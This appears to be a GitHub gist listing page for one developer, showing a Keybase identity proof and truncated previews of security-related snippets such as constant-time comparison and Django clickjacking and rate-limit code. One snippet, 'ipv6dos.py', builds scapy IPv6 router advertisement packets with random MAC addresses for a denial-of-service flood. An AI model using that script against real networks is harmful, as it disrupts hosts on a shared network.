Skip to content

Instantly share code, notes, and snippets.

Keybase proof

I hereby claim:

  • I am levigross on github.
  • I am levigross (https://keybase.io/levigross) on keybase.
  • I have a public key whose fingerprint is 3252 437C 3623 EA49 0FCF 536C BE84 5FC4 DDAF 3361

To claim this, I am signing this object:

@levigross
levigross / counter.py
Created October 7, 2014 13:45
This program is slow, optimize it.
#!/usr/bin/env python
number_range = range(1, 21)
def count():
number = 21
while True:
for n in number_range:
@levigross
levigross / equality.clj
Last active January 13, 2023 06:06
Constant Time Comparison functions
; Taken from https://github.com/weavejester/crypto-equality/blob/master/src/crypto/equality.clj
(ns crypto.equality
"Securely test sequences of data for equality.")
(defn eq?
"Test whether two sequences of characters or bytes are equal in a way that
protects against timing attacks. Note that this does not prevent an attacker
from discovering the *length* of the data being compared."
[a b]
@levigross
levigross / clickjacking.py
Created September 5, 2011 20:55
Django Clickjack protection
"""
Clickjacking Protection Middleware.
This module provides a middleware that implements protection against a
malicious site loading resources from your site in a hidden frame.
"""
from django.conf import settings
class XFrameOptionsMiddleware(object):
@levigross
levigross / redditcurl.txt
Created July 29, 2011 14:30
Reddit Curl
MyMac:~ User$ curl http://reddit.com
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="Content-Type" content="text/html; charset=euc-jp">
<title>テスト</title>
<body>
<br>
このサーバはVideo002.interco.mobiです。
<br>
@levigross
levigross / constant_time.go
Created May 4, 2011 05:29
GoLang constant time
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// src location /src/pkg/crypto/subtle/constant_time.go
// Package subtle implements functions that are often useful in cryptographic
// code but require careful thought to use correctly.
package subtle
@levigross
levigross / comparehash.py
Created May 2, 2011 02:03
Safe hash comparison
from itertools import izip
def compare_hash(hashone,hashtwo):
if len(hashone) == len(hashtwo): # Every hash should be the same length
if sum((ord(o) ^ ord(t) for o,t in izip(hashone,hashtwo))):
return False
else:
return True
else:
return False
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQINBE280eoBEADfLQuJkNfzbaLBgt9Pu3MNUWnIXBPAYxNp9dAq5liZWVJJyWpV
Z6daZryyXJDnpKNMlHT6XvY7vbliK6XCV8fD0xcrt+J1FQb38F9aDQC24FG11S+0
+w+cu2EmVJHgUSzni4JeEeGF1lqKgsc07oE3a0oWS9q2Xt53HFiLTd0OAiknp9Lg
mih8Pk3PRN4T3EvMVdV4pYXdP1KrOxcEjheiaZvu6PlnEzCXBWI2X/FFPMwPxtkh
QmB1TpYLS15gYXTqDsbsdaaIPhIT3Ilb8yYapoDvOltQ38SJOvw3oHQmnnXfwltH
YwF2NKMXsI9hASI+vvgx+3cK4PX2qQe/uBnFzZIW2b2l+TvJnlCYbyLRhh49jbCj
Jc3svNcKU2Q9On3Xaw+ASAMPw2FI0sDA4W6Fec5u2FCg/Gywz8dh52d92rHkviSj
7Spqy8SMM0ndlinOovv2yw8EwVZTuhpU5uUddekYwmBwVsoQwZrStXu5eJPP/SHu
ZVdeqK9eRJCbqSa9h193ltOa0pnK9/f8XH1wq1ZIUyJR2+QabJm5yLXx/PljsbKz
@levigross
levigross / ipv6dos.py
Created April 10, 2011 08:45
IPv6 DOS
from scapy.all import sendp,Ether
from scapy.layers.inet6 import IPv6, ICMPv6ND_RA, ICMPv6NDOptPrefixInfo,ICMPv6NDOptSrcLLAddr
from random import randint
def randomacaddr():
return ':'.join(map(lambda x: "%02x" % x, [ 0x00, 0x16, 0x3e,randint(0x00, 0x7f),randint(0x00, 0xff),randint(0x00, 0xff) ]))
pkt = Ether()/IPv6()/ICMPv6ND_RA()/ICMPv6NDOptPrefixInfo(prefix='2610:8:6800:1::7',prefixlen=64) \
/ICMPv6NDOptSrcLLAddr(lladdr=randomacaddr())
@levigross
levigross / djangoratelimit.py
Created November 29, 2010 02:05
Cache based rate limiting in Django
from django.core.cache import cache
from django.http import HttpResponseForbidden
from functools import wraps
from django.utils.decorators import available_attrs
def ratelimit(limit=10,length=86400):
""" The length is in seconds and defaults to a day"""
def decorator(func):
def inner(request, *args, **kwargs):
ip_hash = str(hash(request.META['REMOTE_ADDR']))